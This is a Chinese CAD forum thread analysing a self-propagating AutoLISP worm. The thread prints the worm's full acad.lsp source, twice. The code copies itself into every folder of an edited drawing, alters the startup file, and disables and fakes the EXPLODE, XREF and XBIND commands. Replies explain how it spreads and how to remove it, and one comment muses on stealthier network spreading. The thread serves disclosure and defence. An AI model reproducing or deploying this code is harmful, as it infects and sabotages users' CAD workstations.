[必看]：最近开始流行的一段恶意代码

秋枫

具体表现为标准命令explode, xref, xbind不再有效。
每个编辑过dwg文件的目录下面都会有一个acad.lsp
很可恶。
我有好几个朋友都在问我为什么他炸不开图块了。跑去一看，
都是这个家伙。不知道谁干的。

我把代码整理一下，贴在下面：

2. 
   
3. [FONT=courier new]
   
4. (defun s::startup (/            old_cmd  path     dwgpath  mnlpath
   
5.                    apppath  oldacad  newacad  nowdwg   lspbj
   
6.                    wjm            wjm1     wjqm     wjqm1    wz
   
7.                    ns1            ns2
   
8.                   )
   
9.   (setq old_cmd (getvar "cmdecho"))
   
10.   (setvar "cmdecho" 0)
    
11.   (setq path (findfile "base.dcl"))
    
12.   (setq path (substr path 1 (- (strlen path) 8)))
    
13.   (setq mnlpath (getvar "menuname"))
    
14.   (setq nowdwg (getvar "dwgname"))
    
15.   (setq wjqm (findfile nowdwg))
    
16.   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
    
17.   (setq acadpath (findfile "acad.lsp"))
    
18.   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
    
19.   (setq        ns1 ""
    
20.         ns2 ""
    
21.   )
    
22.   (setq lspbj 0)
    
23.   (setq wjqm (strcat path "acad.lsp"))
    
24.   (if (setq wjm (open wjqm "r"))
    
25.     (progn (while (setq wz (read-line wjm))
    
26.              (setq ns1 ns2)
    
27.              (setq ns2 wz)
    
28.            )
    
29.            (if (> (strlen ns1) 14)
    
30.              (if (= (substr ns1 8 7) "acadapp")
    
31.                (setq lspbj 1)
    
32.              )
    
33.            )
    
34.            (close wjm)
    
35.     )
    
36.   )
    
37.   (if (and (= acadpath dwgpath) (/= acadpath path))
    
38.     (progn (setq oldacad (findfile "acad.lsp"))
    
39.            (setq newacad (strcat path "acadapp.lsp"))
    
40.            (if (= lspbj 0)
    
41.              (progn (setq wjqm (strcat path "acad.lsp"))
    
42.                     (setq wjm (open wjqm "a"))
    
43.                     (write-line
    
44.                       (strcat "(load " (chr 34) "acadapp" (chr 34) ")")
    
45.                       wjm
    
46.                     )
    
47.                     (write-line "(princ)" wjm)
    
48.                     (close wjm)
    
49.              )
    
50.            )
    
51.            (writeapp)
    
52.     )
    
53.     (progn (if (/= nowdwg "Drawing.dwg")
    
54.              (progn (setq oldacad (findfile "acadapp.lsp"))
    
55.                     (setq newacad (strcat dwgpath "acad.lsp"))
    
56.                     (writeapp)
    
57.              )
    
58.            )
    
59.     )
    
60.   )
    
61.   (command "undefine" "explode")
    
62.   (command "undefine" "xref")
    
63.   (command "undefine" "xbind")
    
64.   (setvar "cmdecho" old_cmd)
    
65.   (princ)
    
66. )
    
67. (defun writeapp        ()
    
68.   (if (setq wjm1 (open newacad "w"))
    
69.     (progn (setq wjm (open oldacad "r"))
    
70.            (while (setq wz (read-line wjm)) (write-line wz wjm1))
    
71.            (close wjm)
    
72.            (close wjm1)
    
73.     )
    
74.   )
    
75. )
    
76. (defun C:explode (/ p cont old_cmd)
    
77.   (setq old_cmd (getvar "cmdecho"))
    
78.   (setvar "cmdecho" 0)
    
79.   (setq p (ssget))
    
80.   (if p
    
81.     (progn (setq cont (sslength p))
    
82.            (princ "\nSeltct objects:")
    
83.            (princ cont)
    
84.            (princ " found")
    
85.            (princ "\n")
    
86.            (princ cont)
    
87.            (princ " was not able to be explode")
    
88.     )
    
89.   )
    
90.   (setvar "cmdecho" old_cmd)
    
91.   (princ)
    
92. )
    
93. (defun C:xref (/ old_cmd)
    
94.   (setq old_cmd (getvar "cmdecho"))
    
95.   (setvar "cmdecho" 0)
    
96.   (command "insert")
    
97.   (setvar "cmdecho" old_cmd)
    
98.   (princ)
    
99. )
    
100. (defun C:xbind (/ old_cmd)
     
101.   (setq old_cmd (getvar "cmdecho"))
     
102.   (setvar "cmdecho" 0)
     
103.   (command "insert")
     
104.   (setvar "cmdecho" old_cmd)
     
105.   (princ)
     
106. )
     
107. (defun C:burst (/ p old_cmd)
     
108.   (setq old_cmd (getvar "cmdecho"))
     
109.   (setvar "cmdecho" 0)
     
110.   (princ "\nBURST----将图块中的文字炸开后成为实体")
     
111.   (setq p (ssget))
     
112.   (setvar "cmdecho" old_cmd)
     
113.   (princ)
     
114. )
     
115. (princ)
     
116. [/FONT]

<br /> [FONT=courier new]<br /> (defun s::startup (/            old_cmd  path     dwgpath  mnlpath<br />                    apppath  oldacad  newacad  nowdwg   lspbj<br />                    wjm            wjm1     wjqm     wjqm1    wz<br />                    ns1            ns2<br />                   )<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (setq path (findfile "base.dcl"))<br />   (setq path (substr path 1 (- (strlen path) 8)))<br />   (setq mnlpath (getvar "menuname"))<br />   (setq nowdwg (getvar "dwgname"))<br />   (setq wjqm (findfile nowdwg))<br />   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))<br />   (setq acadpath (findfile "acad.lsp"))<br />   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))<br />   (setq        ns1 ""<br />         ns2 ""<br />   )<br />   (setq lspbj 0)<br />   (setq wjqm (strcat path "acad.lsp"))<br />   (if (setq wjm (open wjqm "r"))<br />     (progn (while (setq wz (read-line wjm))<br />              (setq ns1 ns2)<br />              (setq ns2 wz)<br />            )<br />            (if (> (strlen ns1) 14)<br />              (if (= (substr ns1 8 7) "acadapp")<br />                (setq lspbj 1)<br />              )<br />            )<br />            (close wjm)<br />     )<br />   )<br />   (if (and (= acadpath dwgpath) (/= acadpath path))<br />     (progn (setq oldacad (findfile "acad.lsp"))<br />            (setq newacad (strcat path "acadapp.lsp"))<br />            (if (= lspbj 0)<br />              (progn (setq wjqm (strcat path "acad.lsp"))<br />                     (setq wjm (open wjqm "a"))<br />                     (write-line<br />                       (strcat "(load " (chr 34) "acadapp" (chr 34) ")")<br />                       wjm<br />                     )<br />                     (write-line "(princ)" wjm)<br />                     (close wjm)<br />              )<br />            )<br />            (writeapp)<br />     )<br />     (progn (if (/= nowdwg "Drawing.dwg")<br />              (progn (setq oldacad (findfile "acadapp.lsp"))<br />                     (setq newacad (strcat dwgpath "acad.lsp"))<br />                     (writeapp)<br />              )<br />            )<br />     )<br />   )<br />   (command "undefine" "explode")<br />   (command "undefine" "xref")<br />   (command "undefine" "xbind")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br /> )<br /> (defun writeapp        ()<br />   (if (setq wjm1 (open newacad "w"))<br />     (progn (setq wjm (open oldacad "r"))<br />            (while (setq wz (read-line wjm)) (write-line wz wjm1))<br />            (close wjm)<br />            (close wjm1)<br />     )<br />   )<br /> )<br /> (defun C:explode (/ p cont old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (setq p (ssget))<br />   (if p<br />     (progn (setq cont (sslength p))<br />            (princ "\nSeltct objects:")<br />            (princ cont)<br />            (princ " found")<br />            (princ "\n")<br />            (princ cont)<br />            (princ " was not able to be explode")<br />     )<br />   )<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br /> )<br /> (defun C:xref (/ old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (command "insert")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br /> )<br /> (defun C:xbind (/ old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (command "insert")<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br /> )<br /> (defun C:burst (/ p old_cmd)<br />   (setq old_cmd (getvar "cmdecho"))<br />   (setvar "cmdecho" 0)<br />   (princ "\nBURST----将图块中的文字炸开后成为实体")<br />   (setq p (ssget))<br />   (setvar "cmdecho" old_cmd)<br />   (princ)<br /> )<br /> (princ)<br /> [/FONT]

eachy

遇到以上情况时，用如下办法可以解决， 在标准命令前加  .  
如果能执行了，就要找以下文件了，acadrxx.lsp、acaddoc.lsp、以及mnl文件，还可能包括acad.rx，这些自动加载的文件。

1. 
   
2. 允许应用程序定义的命令替代 AutoCAD 内部命令
   
3. 
   
4. 命令行：  undefine
   
5. 
   
6. 输入命令名：
   
7. 
   
8. 输入 AutoCAD 命令名将禁用该命令。可重新定义被禁用的命令名以执行其他功能。
   
9. 
   
10. 只能取消 AutoCAD 内部命令的定义。不能取消由 AutoLISP&reg; 定义的命令。这包括通过 acedDefun() 注册的
    
11. ObjectARX&#8482; 应用程序命令。也不能取消在 acad.pgp 文件中定义的外部命令和别名的定义。
    
12. 
    
13. 如果 AutoLISP 或 ObjectARX 应用程序定义的命令与 AutoCAD 内部命令同名，应用程序定义的命令将激活。
    
14. 
    
15. 可以用REDEFINE 命令恢复被取消定义的命令。
    
16. 
    
17. 在命令名前加句点 (.) 就可以访问 AutoCAD 内部命令。
    
18. 
    
19. 对于通过 acedRegCmd 注册的 ObjectARX 应用程序命令，可在命令名前添加如下内容来访问它们：句号
    
20. (.)、命令组名、句号 (.)。例如，可以通过 .acad_mtext.mtext 来访问 MTEXT 命令。
    
21. 
    
22. 要确定 ObjectARX 应用程序的命令名和编组，请使用ARX 命令，并选择“命令”选项查看所有当
    
23. 前加载的 ObjectARX 命令及其组名的列表。
    
24. 
    

复制代码

无忧

是的!这个东西是我在这里最早提出的，这个好象是病毒，现在我们单位里的电脑一台一台的被感染了。最早发现这样的是我的机器，凡是我的同事copy过我电脑里的DWG文件，立马感染上！

秋枫

干脆提给杀毒软件公司吧。

zero

挺可怕的，哪位写个杀毒的lisp，呵呵

cy956

最初由 无忧 发布
[B]是的!这个东西是我在这里最早提出的，这个好象是病毒，现在我们单位里的电脑一台一台的被感染了。最早发现这样的是我的机器，凡是我的同事copy过我电脑里的DWG文件，立马感染上！ [/B]

不算太恶意，不过非常无聊。
看程序好像和dwg无关，别是谁搞反应器了？

漏网の鱼

从代码上看不到什么响应器, 但是如果代码被编译成fas就不太好收拾它了.

长清

.

cad517

最初由 漏网之鱼 发布
从代码上看不到什么响应器, 但是如果代码被编译成fas就不太好收拾它了.

同意你地观点

四季豆

传播是很容易的。它会在每个dwg文件所在的文件夹中复制acad.lsp
有时候拷图是整个目录拷到另一台电脑上的，这样就会传染。
对dwg文件本身是不影响的。打开dwg文件，系统会首先执行dwg文件所在目录的acad.lsp

cy956

这样的代码不可怕，应该不会象无忧所说一台一台传染。
可怕的是打在dwg中，如果是真的无忧所说的可能麻烦更大。

fylinwater

呵呵 还好 这事实上称不上是病毒 但可以叫毒虫  因为 他看得见得
另外它也不是恶意得应该说是善意的或者是个警告！！而且缺乏潜伏性
如果因为它还没破坏你的其他文件，如果程序再伪装一点就危险了
比如 第一次加载的时候不执行任何操作 而是修改你的ACAD配置或者系统配置
等待一定时机再发作 ，那就快接近病毒了（除了隐蔽性差点）

fylinwater

想到一点 假如这个程序再添加一点就是再网络里寻找完全共享文件夹往里面也添加代码，就真的很危险了那么在一个比较大的局域网里很可能危险的流行，而且“一台一台传染”

无忧

TO cy956 : 确实是一台一台传染的，因为我是建筑专业的，其他专业的同事都要拷贝我的图，拷一个传染一个，他们都埋怨我，我只好告诉他们用"XP"炸块。

这里是我当时提出的话题，当时我可能把别的病毒产生的垃圾文件和这个ACAD.LSP混在一起谈了，请大家研究研究！
http://www.xdcad.net/forum/showt ... y=&pagenumber=1

cy956

无忧，你拷给同事的图是r14的还是r2k的？拷的时候那个acad。lsp也捎上否？

你先用工具搜寻硬盘上所有acad。lsp，不在搜索路径的全部删掉，在搜索路径下
用的改好另存。另外，如果你用r2k，你可以抽空研究一下vlr－remove了。
不过挨上了也够倒霉，因为它可以用某个非cad文件引发，防不胜防。

上次看到有人在adesk讨论组发帖子说能反编译vlisp的编译程序，
后来好像说是中止了。技术上的能力没有止境，
谁都用自己掌握的一套显示威力，
会开飞机就能911，会寄信就可能寄炭疽，
会兑红药水就可以威胁打爱滋针。
这世界还不乱套？

不过，dwg相对安全的时代恐怕要过去了。